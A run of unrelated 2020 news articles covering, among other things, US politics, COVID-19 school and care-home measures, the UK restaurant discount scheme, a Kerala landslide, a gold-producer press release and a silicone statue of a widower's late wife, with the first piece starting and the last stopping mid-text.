'Mr. President, you should come to South Dakota sometime. We have Mount Rushmore.' And he goes, 'Do you know it's my dream to have my face on Mount Rushmore?'" Trump also referred to the idea of adding himself to Mount Rushmore in 2017 at a campaign rally in Youngstown, Ohio. During his July 4 speech to supporters in South Dakota, Trump defended Mount Rushmore, which activists and native tribal leaders have long criticized for its history and purpose, saying it will "stand forever as an eternal tribute to our forefathers, and to our freedom." "As we meet here tonight there is a growing danger that threatens every blessing our ancestors fought so hard for," Trump warned. A White House official noted to the New York Times that Mount Rushmore is a federal, not state monument. The-CNN-Wire & 2020 Cable News Network, Inc., a WarnerMedia Company. All rights reserved. NEW FAIRFIELD With the first day of school three weeks away, the school district has selected a reopening plan they say provides flexibility. After weighing three options for the Sept. 2 start of the academic year, school administrators chose a plan that gives students the option of attending school in person or learning from home. We are able to fully reopen schools at this time due to the low community COVID-19 infection rate in our state and town, Superintendent Pat Cosentino said in a letter to families about the districts flexible reopening plan. Our most important priority is the health and safety of students and staff members, and everything that we do falls under that umbrella, Cosentino said last month. With smaller class sizes, Cosentino said she is confident the schools will be able to practice social distancing. To reduce class sizes and minimize interactions, administrators have reassigned staff members and modified school day schedules. In addition to social distancing, other precautionary measures being put into place include mandatory mask-wearing, routine cleaning and changes to lunch, cleaning and disinfection protocols, as well as bathroom, drop-off and dismissal procedures. There will also be a noticeable change to the layout of classrooms. Most furniture will be removed, except for learning spaces like desks and workstations, which will be spaced out and arranged to face the same direction, according to the districts reopening plan. Our classrooms will not look the way they looked in the past, Assistant Superintendent Julie Luby said last month. Were emptying out classrooms so that we can fit student desks with physical distancing, and removing things like soft surfaces ... because they can harbor germs and take up space. There will also be floor markings in the schools to maintain social distancing, hand sanitizer in all common areas and signs to reinforce physical distancing, cleaning and disinfecting, hand washing and use of personal protection equipment. Cohorts A cohort model will be utilized for kindergarten through eighth grade, where teachers rotate between classrooms, but it will not be used at the high school due to lack of feasibility, according to the districts reopening plan. Principal James DAmico said during a reopening update last month that the high schools block schedule will help minimize interactions within the building. Cosentino said the district continues to work closely with local health department officials and will look to shift to a hybrid or fully remote plan if New Fairfield or the state sees an increase in COVID-19 cases. The hybrid plan would involve dividing all students in the district into two cohorts, and having each cohort receive in-person instruction two days per week and synchronous remote instruction the other three days. Both cohorts would work from home Wednesdays, when the schools undergo cleaning. The first day of the new academic year falls on a Wednesday, and there will be early dismissals for the first three days of school. Labor Day is a holiday and schools will not be in session, and the first full day of classses is Sept. 8. More information on the school districts reopening plan is available at bit.ly/NFPSreopening. Cuban President Miguel Diaz-Canel on Monday denounced what he described as the U.S. "perverse obsession" with undermining the island's government. "New millions for old infamies, the perverse obsession to crush the Revolution," Diaz-Canel posted on Twitter after Washington earmarked 3 million U.S. dollars for organizations willing to investigate Cuba's medical missions abroad for alleged labor violations. Diaz-Canel included a link to an article published by state daily Granma, which said the "new aberration in the war against the island" was part of U.S. President Donald Trump's strategy to distract from the novel coronavirus (COVID-19) pandemic in the hope of improving his chances for reelection. Trump is banking on his anti-Cuban stance to win over the powerful Cuban exile community in Miami, Florida, which helped get him elected in 2016, Granma said. "The government of the United States slanders us as a pretext to step up the trade embargo against Cuba as it panders to the Miami mafia for election purposes," the article said. In response to Washington's move, Diaz-Canel said, the "Cuban Government (has) adopted more than 20 labor-, salary- and social security-related measures to protect people in our country." (CGTN) The murder of George Floyd once again brought racism to the forefront of public discourse in the United States and around the world. Floyds lynching, as with so many others, exposed the precarious myth of American exceptionalism. Social media continues to buzz with calls for action and accountability, yet most people inhabit power structures and institutions that perpetuate white racial frames. As a result, diversity initiatives and recently released institutional statements often fall flat, or worse: They do further harm. Christian institutions are no different. As David Swanson notes, Christians of color who are drawn to multiracial churches often are disappointed when they realize that, for most of the white members, their presence alone indicates success. Racial disparity becomes acute when communities are confronted with explicit issues of racism and white supremacy. Suddenly, the voices of Christians of color are deemed problematic, even divisive. The majority culture demands such voices be sanitized, toned down, or shut down altogether. The solution is not cheap diversity but inclusion and equitable justice. While many Christian institutions have incorporated this critical linguistic shift, the language is vacuous if not aligned with concrete social and systemic change. Unfortunately, white evangelicals have been discipled to see issues of diversity, inclusion, and social justice as progressive political issues and therefore inherent threats to the gospel. Though a significant pressure point for white institutions, the pressure for diversity brings an incredible opportunity to reimagine together our theological and institutional paradigms. Cultural intelligence provides a lens to imagine and cultivate inclusive communities which live together under the justice of Gods reign. Cultural intelligence envisages engagement across racial and ethnic lines, among others, as an opportunity to participate in Gods trinitarian love. Christian community is rooted in the very nature of the triune God. Father, Son, and Spirit exist as a diverse community of persons united in perfect love. The inter-trinitarian relationships are defined by full equality, glad submission, joyful intimacy, and mutual deference. The divine heart for inclusion and equitable justice in the world flow from the very being and character of the Godhead. To be human is, in part, to reflect the relational nature of God. Human community that pursues individual, mutual, and communal flourishing glorifies God, displays the divine character on earth, and reflects the kingdom of God. Therefore, intercultural interactions across lines of difference are acts of love that reflect the mutual love of the Godhead. To enhance our capacity for multicultural interactions, we need to cultivate cultural intelligence (CQ). David Livermore defines CQ as the capability to function effectively in intercultural contexts, including different national, ethnic, organizational, generational, and many other contexts. Put another way, CQ is the ability to successfully adjust perspectives, attitudes, and skills when engaging in a variety of multicultural situations. Livermore suggests that people develop four practical capabilities for effective CQ: CQ Drive is our internal and external interest, motivation, and self-confidence to engage effectively in multicultural experiences. Honest assessment of CQ Drive helps us prepare prior to multicultural interactions. CQ Knowledge is our understanding of the cultural similarities and differences between ourselves and others. It allows us to leverage our understanding of how culture shapes our values, perspectives, and behaviors. With this repertoire, we may discern relevant cultural-general and context-specific information for effective intercultural interactions. CQ Strategy is how we plan to engage in and make sense of culturally diverse situations. It consists of planning for these engagements, remaining aware of ourselves and others during them, and checking to confirm if our interpretations and actions were accurate and appropriate. CQ Action is how we leverage Drive, Knowledge, and Strategy to adapt our behavior to interact more effectively in culturally diverse settings. This may include speech acts (such as word usage), verbal actions (such as manner of communication), and nonverbal actions (such as bodily gestures). We should observe relevant behavior, inquire about contextually appropriate behavior, and adjust behavior based on the situation and feedback. Through the Spirits empowerment, and by situating CQ capabilities within a Christological framework, this can be an effective resource for cultivating godly multicultural relationships in our Christian institutions. Cultural Intelligence in the Ministry of Jesus The Incarnationthe eternal Sons total and complete union with our humanityis the ultimate expression of the CQ Drive to know the other. The Son gives of himself fully to the world as the first-century Palestinian Jewish man, Jesus of Nazareth. The ministry of Jesus therefore offers a rich reservoir of resources for exploring CQ capabilities. Few of Jesus teachings have had the universal impact of the parable of the Good Samaritan (Luke 10:2537). While this story continues to inspire people to do good for strangers in dire circumstances, white people often miss a central point of the parable: the challenge to racial bias. This is the point to which Martin Luther King Jr. drew our attention in his final speech I Have Been to the Mountain Top. The Samaritan was of a different race than Jesus and his Jewish interlocutor. The parable Jesus tells was premeditated. We see throughout his ministry an expression of CQ Drive in his deliberate encounters with Samaritans. His disciples are scandalized, for example, to find him alone with a Samaritan woman (John 4:27). Jesuss CQ Knowledge was both theoretical and practical. His study of Scripture, reflection on his messianic vocation, and intentional engagement with Samaritans formed his vision of Judean-Samaritan relations. Jesus displayed his CQ Strategy passing through Samaria on his final trip to Jerusalem. He is not surprised that his destination offends his Samaritan neighbors but is disturbed by James and Johns violent response to them (Luke 9:5456). Soon after, a lawyer seeks to defend his law-abiding activity to love his neighborthat is, a fellow Jew like himself (Luke 10:2529). The Lukan placement of the parable of the Good Samaritan thus suggests an adjustment in CQ Action. It was not enough to hold good feelings about SamaritansJesus needed to challenge the bigotry of his disciples head-on. In the face of his Jewish interlocutor, and with the disciples listening in, he makes a Samaritan the exemplar of Torah fidelity. The charge Go and do likewise was never an injunction simply to do good for people in need, but always an invitation to a tectonic epistemological shift: to see the other as my neighborthe one to whom I belong, for whom I act, and from whom I learn. Later, John displays this shift, as Jesus teaching meets the Spirits activity in the birth of the church. When Samaritans receive the word of God, John, who once called down fire to consume them, now joins Peter to call down the Spirit to fill them and confirm their equal status in Gods kingdom (Acts 8:1415). Cultural Intelligence for Disciples: Three Principles Based on the above, three principles work for using cultural intelligence to cultivate inclusive and equitable Christian communities: Its Okay to Be Wrong CQ requires sustained commitment to intercultural interactions, despite insecurities, uncertainties, or prior disappointments. The greatest obstacles to the formation of inclusive and equitable communities are not cultural blind spots but the fragilities that cause us to insulate ourselves from constructive criticism. We must learn to submit, in particular, to the epistemological advantage of the marginalized, those whom Jesus designates as the font of divine revelation. Right the Wrongs Errors at interpersonal and structural levels require restitution and reparations so that all parties are wholly restored. Some Christians reduce reconciliation to individual relationships without regard for systems and structures. Yet the parable of the Good Samaritan reminds us that personal wholeness cannot happen without collective healing. Christian institutions, as social bodies, must be prepared to right their wrongs. Leaders must publicly acknowledge and address marginalizing practices and policies. Christian communities dismantle inequalities regardless of their current compositional diversity, which may need to happen before multiculturalism is even an option. For some, this requires redressing the historical legacy of segregation; for others, it requires doing the hard work of making the community a just and inhabitable space for all. Lets Get It Right Together Jesuss clarion call is to active resistance against all forms of ignorance, indifference, and injustice. Our cultural moment, as King observed decades ago, presents us with the choice between chaos and community. The fractured nature of our world pushes us to chaos and coannihilation, but the Kingdom of God invites us to coexistence and community. Cultural intelligence has a vital role to play in our answer to the question: where do we go from here? Max Botner is assistant professor of New Testament, Grand Rapids Theological Seminary. Kenneth Russell is director of Diversity and Multicultural Affairs, Cornerstone University. At least two people linked to residential disability accommodation have died from coronavirus and there are dozens of active cases in that setting, as fears grow about vulnerable residents facing similar dangers to people in nursing homes. Disability groups want better training for workers on preventing the spread of coronavirus, easier access to personal protective equipment and greater transparency about outbreaks. Victoria's Minister for Disability Luke Donnellan confirmed two people linked to disability residential care homes have died since the pandemic began. Credit:Paul Jeffers They said many people living with disabilities have compromised health and pre-existing conditions that put them at greater risk of falling dangerously ill if they contract COVID-19. The latest figures show there are 79 active cases in Victoria's residential disability accommodation, including 20 residents and 59 staff. A woman plunging into the ocean from a slide on a yacht didnt know that she would experience a swimmers worst nightmare. The woman was casually swimming in the ocean when a massive eight-foot shark came dangerously close to her. However, the woman was saved as the shark swam away. As per several reports, the woman named Iso Machado, a resident of Miami, Florida, was celebrating her birthday in the Bahamas with her friends and family a few days back. The group had a yacht that had a slide attached to it. Enjoying her birthday day out, Machado decided to go into the clear blue water. However, she had no idea what was lurking in the water. As she jumped into the ocean, one of the members from the group noticed a dark shadowy figure under the water and freaked out. He seemed to be filming when he suddenly panned his camera to capture the shark that was swimming just a few feet away from Machado. Read: Virus-quieted Oceans Open Window For Shark Week Researchers Read: 'Shark Week 2020': Mike Tyson 'knocks Out A Shark, Then Says 'its Pretty Liberating' "O my God, o my god, Mom. Don't freak out," Machados son Anthony can be heard saying in the background, while his mother can be seen experiencing the near-death encounter. The video was shared by a channel called Celebs Today on YouTube. Check out the video here: Shark swam away on its own As per several reports, Anthonys friend Kevan Sarota spoke about the horrific incident and said, one of the members yelled and pointed out the ominous dark shadowy figure of a shark but they couldnt figure out what type it was. Kevan also shared that some of the members immediately jumped into the ocean to ensure that Machado was not attacked. Fortunately, she remained calm as the shark swam away on its own. The group believed that the shark was a nurse shark, a species generally considered to be non-dangerous to humans, unlike the great white shark, which last month killed a woman swimming in Maine. Experts commenting on the unfortunate incident said that the shark likely killed because it mistook the woman for a seal as since she was wearing a black wetsuit. (Image credit: Celebs Today's YouTube) Read: Video Of Woman Saving A Shark By Pulling It Back Into Sea Breaks Internet, Netizens Amused Read: Shark Bites, Kills Woman In Rare Encounter Off Maine Coast Get the latest entertainment news from India & around the world. Now follow your favourite television celebs and telly updates. Republic World is your one-stop destination for trending Bollywood news. Tune in today to stay updated with all the latest news and headlines from the world of entertainment. It is a weekend atmosphere in thousands of pubs and restaurants across the UK from Monday to Wednesday, thanks to chancellor Rishi Sunaks novel scheme that pays 50 per cent of restaurant bills up to a maximum of 10 per person, on food and non-alcoholic drinks. The scheme, intended to encourage people to eat out and help the struggling restaurant industry hit by the coronavirus pandemic, began on August 3 and runs until the end of the month. The Boris Johnson government has set aside 500 million for the scheme. In its first week, it has been used 10.5 million times, worth 50 million to the exchequer. Over 83,000 outlets have signed up offer the scheme, including pubs, restaurants, cafes, dining rooms within members clubs, and workplace and school canteens. Participating restaurants include many Indian restaurants. While many outlets have reported berserk business during the three days, particularly chains such as Wetherspoons and Wagamama, Indian restaurants in areas such as Southall saw a marginal spike. Among those struggling are upmarket Indian restaurants in central London, where rents and other fixed costs are high. Indian Accent, which has branches in New Delhi and New York, and opened in Mayfair in 2017, closed due to the pandemics adverse effects. Says celebrity chef Cyrus Todiwala, who has restaurants in central London: For us, due to our location the scheme has not been great. Our problem is the hesitation of people to avoid public transport, besides the congestion charge to drive into central London. Many London restaurants have complained to the mayor but it is of no use. So if you were to spend 30 to come to us for dinner, why would you? But many love us and take the extra trouble and costs to dine with us, he adds. For Manoj Vasaikar of India Zing, Sunaks scheme has driven business from Monday to Wednesday, but his restaurants have seen a sharp downturn during the weekend. He says: We have seen a spike in business from Monday to Wednesday, but we suffer badly on Friday, Saturday. It is the same experience overall in most of the industry, but then the customer benefits, so it is fine. Sunak described the schemes first-week figures as amazing, after official figures showed that 80% of hospitality firms stopped trading in April and that 1.4 million workers were furloughed - the highest proportion in any sector. Britons are eating out to help out in big numbers. And they arent just getting a great deal - theyre supporting the almost 2 million people employed in this sector, Sunak said. Before Sunak rolled out the scheme, Jim Harra, chief executive of revenue and customs, questioned its value for money, writing to him: By nature, this is a novel scheme meaning there are also particular value for money risks surrounding the level of potential losses that could arise. The Guardian called the scheme junk policy in an editorial: As policyit is glib, gimmicky and, even Mr Sunak admits, a waste of millions of pounds. Junk, then, served up by a politician who should know much better. (His) error is in treating the slump in trade as driven by cost, rather than caution. Discounts and VAT cutswill not lure out those diners who are worried that they may pick up a lethal virus, or that they may be about to lose their job. Others will take up the governments offer by enjoying a slap-up meal at a discount on a Wednesday night rather than at full price on a Friday, thus defeating the entire purpose of the policy, the editorial added. SHARE THIS ARTICLE ON TDT | Manama The Court of Cassation yesterday upheld the death penalty previously issued against three Asian men who were convicted of manslaughter. The trio were sentenced to death earlier this year by the First High Criminal Court, which found them guilty of killing the victim, who is a fellow Asian national, using hammers. The incident took place in the Capital Governorate last year. Investigations showed that the motive behind the murder was a dispute over an amount of BD1,000, which the victim owed to the three men. They apparently killed him after luring him to an abandoned property in Al Daih village. The results of the investigation also indicated that the three men had beaten the victim to death using hammers and cement blocks, after an argument over the amount he owed them had apparently gone out of control. The case was first reported when the General Directorate of Criminal Investigation and Forensic Science was notified about a severely injured man found in a farm in Al Daih, a couple of kilometres to the west of the capital. The victim was rushed to Salmaniya Medical Complex after informing the police that he was attacked and robbed by three individuals. The man soon succumbed to his wounds and passed away in the hospital. The authorities launched a manhunt to nab the three suspects, who were eventually arrested after investigators acknowledged that they are actually relatives of the victim. The trio told interrogators that they had requested the victim to meet them after he apparently cheated them by selling them a work permit (employment visa) for BD1,000, promising that it is valid for two years, while it was actually only valid for one year. On May 14, 2019, the Public Prosecution charged the three men of premediated murder and robbing the victim. The prosecution ordered to detain them and referred the case to the First High Criminal Court, which deliberated the case and announced its verdict. They appealed once before the Supreme Court of Appeals and got their plea rejected. They pleaded again before the Court of Cassation, which also rejected their request. Vancouver, British Columbia--(Newsfile Corp. - August 11, 2020) - INCA ONE GOLD CORP. (TSXV: IO) (OTC Pink: INCAF) (FSE: SU92) ("Inca One" or the "Company"), a gold producer operating two fully permitted mineral processing facilities in Peru, reports on consolidated gold production and deliveries for the three month period of April, May and June 2020 ("Q2 2020" or "the Quarter") from its Chala One Plant ("Chala One") and Koricancha Plant ("Kori One"). All comparative year-over-year ("YOY") production numbers represent consolidated operations from both facilities. Q2 2020 Highlights Total exports of US$6.7 million, consisting of 3,919 ounces of gold and 3,984 ounces of silver. Announced launch of online Gold and Silver Bullion Store, and secured refiner for minting of Inca One's first gold bullion coins. Ramped up sales teams with accelerated restart of small-scale mining sector following almost three months of Peruvian government-imposed emergency lockdowns. Secured a significant, long-term supply contract for a minimum 40,000 tonnes of gold bearing material at a minimum grade of 8 grams per tonne, representing approximately 73% of the Company's 2019 record throughput. Successful exercise of 4.5 million common share purchase warrants providing proceeds of approximately CAD$1.8 million. "Despite the economic slowdown in Peru due to the COVID-19 pandemic, total sales for Inca One in Q2 2020 reached $6.7 million, an increase of 8% YOY and only 13% less than the prior Q1 of this current year," stated Inca One President and CEO, Edward Kelly. "Furthermore, our operations have been bolstered by a significant ore supply contract of which the first deliveries are expected this quarter. This agreement is anticipated to produce upwards of 10,000 gold equivalent ounces over its first year and cover a substantial portion of our fixed overhead costs. Most importantly, the Company not only has the leverage needed to bring us back on par with last year's record production and sales, but also to exceed last year's totals." Q2 2020 Results Consolidated Operations Q2 2020 Q2 2019 YOY Variance Q1 2020 QOQ Variance Deliveries (tonnes) 2,887 11,427 -75% 9,543 -70% Throughput (tonnes) 3,354 10,924 -69% 9,652 -65% Throughput (TPD) 37 120 -69% 106 -65% Gold Sold (oz) 3,919 4,697 -17% 4,841 -19% Gold Sales (US$) $6.7 million $6.2 million 8% $7.7 million -13% Production was considerably impacted in Q2 2020 as the full effects of the Peruvian Government's COVID-19 pandemic emergency decrees restricted the transportation of mineral throughout Peru. Because of the limited deliveries, operations were successfully scaled back reducing overhead. This allowed the Company to perform complete systems clean-outs at both Chala One and Kori One plants resulting in increased export of gold dore in the Quarter when compared over the prior year, highlighted by record export numbers in May 2020. This was reflected in gold sales for the quarter of US$6.7 million, up 8% over YOY. The Company believes that the supply agreement with PPX Mining Corp ("PPX") will provide a secured foundational supply of material for processing over the remaining months of 2020 and into 2021. As PPX ramps up production, Inca One can meet their needs for processing capacity and leverage this capacity into additional sales. In addition, the small-scale mining market in Peru is showing encouraging signs of recovery since re-opening as more miners are looking to enter the industry and formalize to take advantage of the recent upswing in the gold and precious metals market. Inca One has proven its ability over the years to adapt to evolving regulatory environments, meet COVID-19 related challenges and build a diversified framework for success across multiple strategic channels while expanding into key mining regions. Reduced levels of production due to COVID-19 has allowed management to focus and execute on strategic planning, which has been used to establish relationships with new mining partners, that should translate into increased future revenue and profitability. The Company has confidently developed industry leading compliance, is soon expanding operations with the production of premium gold finished products and has built and exceptional team of proven and experienced professionals focused on dramatically scaling operations in the second half of 2020 and beyond. About Inca One Inca One Gold Corp is a TSXV listed, gold producer operating two, fully permitted, gold mineral processing facilities in Peru. The Company produced nearly 25,000 ounces of gold from its operations in 2019 and has generated over US$100 million in revenue over the last five years. Inca One, now in its sixth year of commercial production, is led by an experienced and capable management team that has established the Company as a trusted leader in servicing government permitted, small scale miners in Peru. Peru is the world's sixth-largest producer of gold and its small-scale mining sector is estimated by government officials to be valued in the billions of dollars annually. Inca One possesses a combined 450 tonnes per day permitted operating capacity at its two fully integrated plants, Chala One and Kori One, and is targeting a fourth consecutive year of increased production and sales growth. To learn more visit www.incaone.com. Figure 1. Inca One's gold processing facilities in Peru (left: Chala One facility; right: Kori One facility) To view an enhanced version of Figure 1, please visit: https://orders.newsfilecorp.com/files/2645/61431_44e2b3d974429a1c_001full.jpg On behalf of the Board, Edward Kelly President and CEO INCA ONE GOLD CORP. For More Information Contact: Konstantine Tsakumis Inca One Gold Corp. ktsakumis@incaone.com 604-568-4877 NEITHER THE TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN THE POLICIES OF THE TSX VENTURE EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS NEWS RELEASE. Statements regarding the Company which are not historical facts are "forward-looking statements" that involve risks and uncertainties. Such information can generally be identified by the use of forwarding-looking wording such as "may", "expect", "estimate", "anticipate", "intend", "believe" and "continue" or the negative thereof or similar variations. Since forward-looking statements address future events and conditions, by their very nature, they involve inherent risks and uncertainties. Actual results in each case could differ materially from those currently anticipated in such statements due to factors such as: (i) fluctuation of mineral prices; (ii) a change in market conditions; and (iii) the fact that future operational results may not be accurately predicted based on this limited information to date. Except as required by law, the Company does not intend to update any changes to such statements. Inca One believes the expectations reflected in those forward-looking statements are reasonable but no assurance can be given that these expectations will prove to be correct and such forward-looking statements included herein should not be unduly relied upon. This press release shall not constitute an offer to sell or the solicitation of an offer to buy, nor shall there be any sale of these securities in any state in which such offer, solicitation, or sale would be unlawful prior to registration or qualification under the securities laws of any such state. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/61431 The Nueces County beach order which restricted vehicular access in response to COVID-19 will no longer be enforced in Port Aransas due to financing and parking. Port Aransas Mayor Charles Bujan announced the decision to not police the order, which is in effect until Aug. 17, via social media on Sunday. "The city can no longer afford providing 24 hour day policing of the county beaches closure order," his post reads. "We have depleted all of our overtime budgets." BEACH TRAFFIC: Interstate 45 widening likely to cause new delays for those heading to Galveston Nueces County Judge Barbara Canales issued the order in early July in response to Texas' COVID-19 spike this summer. It was extended on July 31. Though cars were not allowed on the beach, pedestrians were allowed to walk in. This caused a major parking issue in town, on the streets around the beach, Bujan said. "The county beach closure has created a major life safety issue in regards to the in-town beach parking being completely out of control and blocking streets to EMS access and Fire Dept trucks responding to emergencies," he wrote in the post. The closure also includes a temporary curfew, which lasts from 9 p.m. to 6 a.m. daily. The order allows any peace officer or person with lawful authority the right to enforce it. Many of the online responses to Bujan's post thanked him "being bold," others called it a "nightmare" for constituents who work with tourists. Canales could not immediately be reached for comment. Madalyn Mendoza covers news and puro pop culture for MySA.com | mmendoza@mysa.com | @maddyskye Monsoon rain in India triggered a landslide in the southwestern Indian state of Kerala. The horrific incident left 43 people dead, including three children, with dozens of more people buried. Deadly landslide On August 6, the landslide swept into a settlement housing workers on a tea plantation in the Idukki district, and the incident happened when most residents were fast asleep. Dozens of houses were immediately destroyed, leaving 11 people injured and rushed to the hospital. As search and rescue workers spend days digging through the debris and thick mud, the death toll rose. The efforts of search and rescue workers were hampered further by the constant heavy rain. According to district lawmaker Dean Kuriakose, 25 people are still missing. More than 500 personnel from local forces and the National Disaster Response Force have been deployed to look for survivors and corpses. Also Read:5.1 Magnitude Earthquake Rocks North Carolina, Strongest Quake Felt in State for Almost a Century Kerala's Chief Minister Pinarayi Vijayan stated on Twitter on August 9 that despite inclement weather and harsh conditions, the search for those who went missing is progressing. On August 10, the Indian Meteorological Department issued a stern warning of "heavy to very heavy rainfall" in certain parts of the state for the next 24 hours. A red alert was in place for seven of the state's 14 districts. For weeks, Kerala has been battered by heavy rain and flooding. Another tragedy On August 7, a tragedy happened again when an Air India Express plane skidded off the runway and broke into two while trying to land at Kozhikode Calicut International Airport amid the heavy rain. The flight from Dubai had 190 people on board when it crashed, according to a statement by Air India Express. A total of 18 people died, including both pilots and four children. For centuries, agriculture in South Asia has depended on the annual monsoon, which stretches from about June until September. However, intense rains and floods also cause massive devastation and billions of dollars in economic loss and damage across much of the region every year. In 2018, Kerala was hit with flooding, which was the worst flooding in Kerala's history in almost a century as reported by CNN. Flash floods swept through the state, the sewage lines were blocked and the rivers overflowed. More than 300 people were killed and thousands were displaced. In 2019, Kerala and the states surrounding it were inundated again and 150 people died, leaving hundreds of homes destroyed. Thousands of people were forced to spend time in relief camps. Since May 2020, monsoon rains have triggered heavy flooding in the eastern Indian states of Bihar and Assam, and it affected more than 2.4 million people, swamping massive parts of the national park and killing more than 100 wild animals. Nepal has also endured massive landslides and severe flooding, while almost one-third of Bangladesh has been affected by floods. Floods have also engulfed massive swaths of southern China in 2020, with the Yangtze basin having its heaviest average rainfall in almost 60 years. The direct economic cost of the tragedy is at $21 billion in destroyed farmland, roads, and other property. More than 55 million people have been affected. Related Article:Major Gas Explosion in Blatimore Kills One, Injures Dozens @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Washington: President-elect Donald Trump has said he would not allow Americans to be replaced by foreign workers, in an apparent reference to cases like that of Disney World and other American companies wherein people hired on H-1B visas, including Indians, displaced US workers. We will fight to protect every last American life, Trump told thousands of his supporters in Iowa on Thursday as he referred to the cases of Disney world and other US companies. During the campaign I also spent time with American workers who were laid off and forced to train. The foreign workers brought in to replace them. We wont let this happen anymore, Trump vowed amidst cheers and applause from the audience. Can you believe that? You get laid off and then they wont give you your severance pay unless you train the people that are replacing you. I mean, thats actually demeaning maybe more than anything else, he said. Disney World and two outsourcing companies have been slapped with a federal lawsuit by two of its former technology staff, alleging that they conspired to displace American workers with cheaper foreign labour brought to the US on H-1B visas, mostly from India. The two employees - Leo Perrero and Dena Moore - were among 250 Disney tech workers laid off from their jobs at Walt Disney World in Orlando in January 2015. They have also dragged two IT companies HCL Inc and Cognizent Technologies into this class action lawsuit. You know the name of one of the companies thats doing it. Im going to be nice because were trying to get that company back. Dont forget much harder when a company announced a year and a half ago - some of these companies, like Carrier, they announced long before I even knew I was going to be running for president, Trump said. On immigration, Trump reiterated that he will build the wall along the Mexico border. We will put an end to illegal immigration and stop the drugs from pouring into our country, the drugs are pouring into our country, poisoning our youth and plenty of other people, he said. We will stop the drugs from pouring into our country. We will stop the drugs from poisoning our great and beautiful and loving youth. OK? Well do it, he said, adding that the Trump administration will stop the violence that is spilling across our border. For all the Latest World News, Download News Nation Android and iOS Mobile Apps. A new Extendicare Peterborough is proposed for development on a 24-acre vacant property off Towerhill Road, along with a series of condos to be built later. The larger new Extendicare is proposed as a replacement for the one on Alexander Court next to the hospital, said facility administrator Bill Thurlow. The proposed new private long-term-care facility would have 256 beds, he said, which is 82 more beds than the 1972 facility on Alexander Court. It could be a couple of years before the new building is built and open for residents, Thurlow said. Current residents will be moved, plus there will be beds for new admissions. The property is located at 689 Towerhill Rd., behind Northview Community Church. The land is to the west of the Simons subdivision. The property owner is MDM Developments of Gravenhurst. MDM is developing luxury condos in Fenelon Falls and has previously built condos in Muskoka. The developer has applied for a rezoning and Official Plan amendment for the new Extendicare, states a public notice, and councillors will hear more at a virtual committee meeting Sept. 8 (with a city staff report to be released Sept. 3). The proposal is for a four-storey long-term-care home on the south part of the property, according to the notice. The developer proposes to build the Extendicare first and later build condos on the northern part of the property, states a background report from EcoVue Consulting of Peterborough, the developers planner. Those condos havent been designed yet, states the EcoVue report and although it doesnt say exactly how many units are planned, it says the city servicing could accommodate up to 200 condos. Meanwhile the Extendicare is being designed by Montgomery Sisam Architects Inc. or Toronto; the firm is also designing a long-term-care home to be built soon in Muskoka. The developer has submitted its application with nine required studies, states the EcoVue report including traffic and environmental impact studies. An open house was held in September 2019 at Westmount Public School, the report adds, and 86 people were there. Some people who attended expressed concerns about the increased traffic the development could bring to the area. But a traffic study by Tranplan Associates was done in June 2019, states the report, and it determined that the area roads can handle the increased population the development would likely bring. Citizens can still send in written feedback to the city on this application or speak to councillors at the virtual meeting on Sept. 8. joelle.kovach@peterboroughdaily.com People whod like to speak to city councillors about the proposed new Extendicare and condo project at 689 Towerhill Rd. must register by 11 a.m. on the day of the virtual committee meeting (Sept. 8) To register by phone: call 705-742-7777 ext. 1820 and quote file number 01906 and Z1917 To register online: forms.peterborough.ca/Clerks-Office/Request-for-Delegation (use the above file numbers) A refinery worker in Australia has been awarded almost $200,000 in compensation by BP after being fired over a Hitler meme he shared which appeared to mock his bosses over pay negotiations. Australia's Fair Work Commission ruled Monday that BP should pay Scott Tracey $177,324.93 in lost pay and bonuses, minus tax, in addition to $24,069.99 in pension contributions. Tracey was also rehired by the oil giant. Tracey was fired last year for sharing a video which appeared to make fun of his bosses' handling of wage negotiations. His wife claimed to have made the video. It features a well-known clip from the 2004 German-language film Downfall, which depicts Hitler ranting to generals after hearing the news he has lost World War II. The video has famously been used with substituted English subtitles to portray a number of parodied "Hitler rants." BP dismissed Tracey, alleging that the video compared senior management to Nazis and that showing a colleague the clip on a BP computer breached its code of conduct. Tracey's unfair dismissal claim was initially rejected by the FWC in September 2019, when its Deputy President Melanie Binet ruled that the video was "offensive and inappropriate." However, that decision was overturned in February, seeing Tracey reinstated in his job at BP's Kwinana refinery in Perth, Western Australia. FWC committee officials then invited Tracey and BP to submit further evidence as to whether he should receive compensation for his time out of work. As part of this, BP contended that Tracey should be compensated no more than $152,539.19, arguing that his actions still counted as misconduct. BP had not responded to CNBC's request for comment at the time of writing. In an era, when human relationships are seen to be marginalized, the story of businessman Srinivas Gupta in Koppal district of Karnataka is heart-touching. Recently, Gupta constructed a new house and held a housewarming ceremony which was graced by a limited number of guests. In the hall of the house, a woman was sitting on a couch wearing a beautiful pink coloured saree and gold ornaments adorned her. She wore a lovely smile on her face but her expression remained unchanged as she remained seated. It seemed as if she was welcoming the guests with a smile on her face. Time and again, Gupta himself sat with her on that couch. The woman is, in fact, a statue of Madhavi, the late wife of Shrinivas Gupta. In 2017, while visiting Tirupati, Madhavi died in a road accident which left the family grief-stricken. Before she passed away, Madhavi had wished for a beautiful home and Gupta decided that he would fulfil his wife's dream. Recently, the house was also ready but Gupta wanted his wife's presence in the house on the housewarming day. On the advice of some friends, he reached out to Shridhar Murthy, a craftsman. The artist understood her husband's emotions and created a lifelike statue of Madhavi from silicone material. Speaking to Zee News he said, "My name is Srinivas Gupta and my wife Venkata Nagamma Madhavi died in a road accident in 2017. She had a dream that we will have a house and live comfortably in it. She designed it by herself and was present here when the basement was being set up. After the accident, I thought I would stop building this house but it was my wife's last wish, so I started building and got it done. I wanted her to be with us when the house was ready." "At first, I thought that I will put a picture of her but then I decided to make a statue. When I searched, I came to know that there is a person named Shridhar Murthy from Bengaluru who does this job very well. He has made many idols so far, including the idol of Basavanna in London. I spoke to him and he accepted it very happily saying that 'you are paying such a price to a human being, that's why I'll make this statue for you'. To maintain it, a certain temperature is needed like the 24x7 ACs. I accepted but since it would be difficult to maintain, the silicon statue was made," he added. "The statue with silicon material was a bit expensive but it will be easier to maintain. He promised that whatever will be made will be real, you will feel like she is with you. I am very happy. 1 year ago, I placed the order. He came here four to five times and saw my wife's photograph to understand the skin tone. My eldest daughter's face cut is the same as my wife's, so he took many inputs from there. He took great interest in this work and successfully completed the 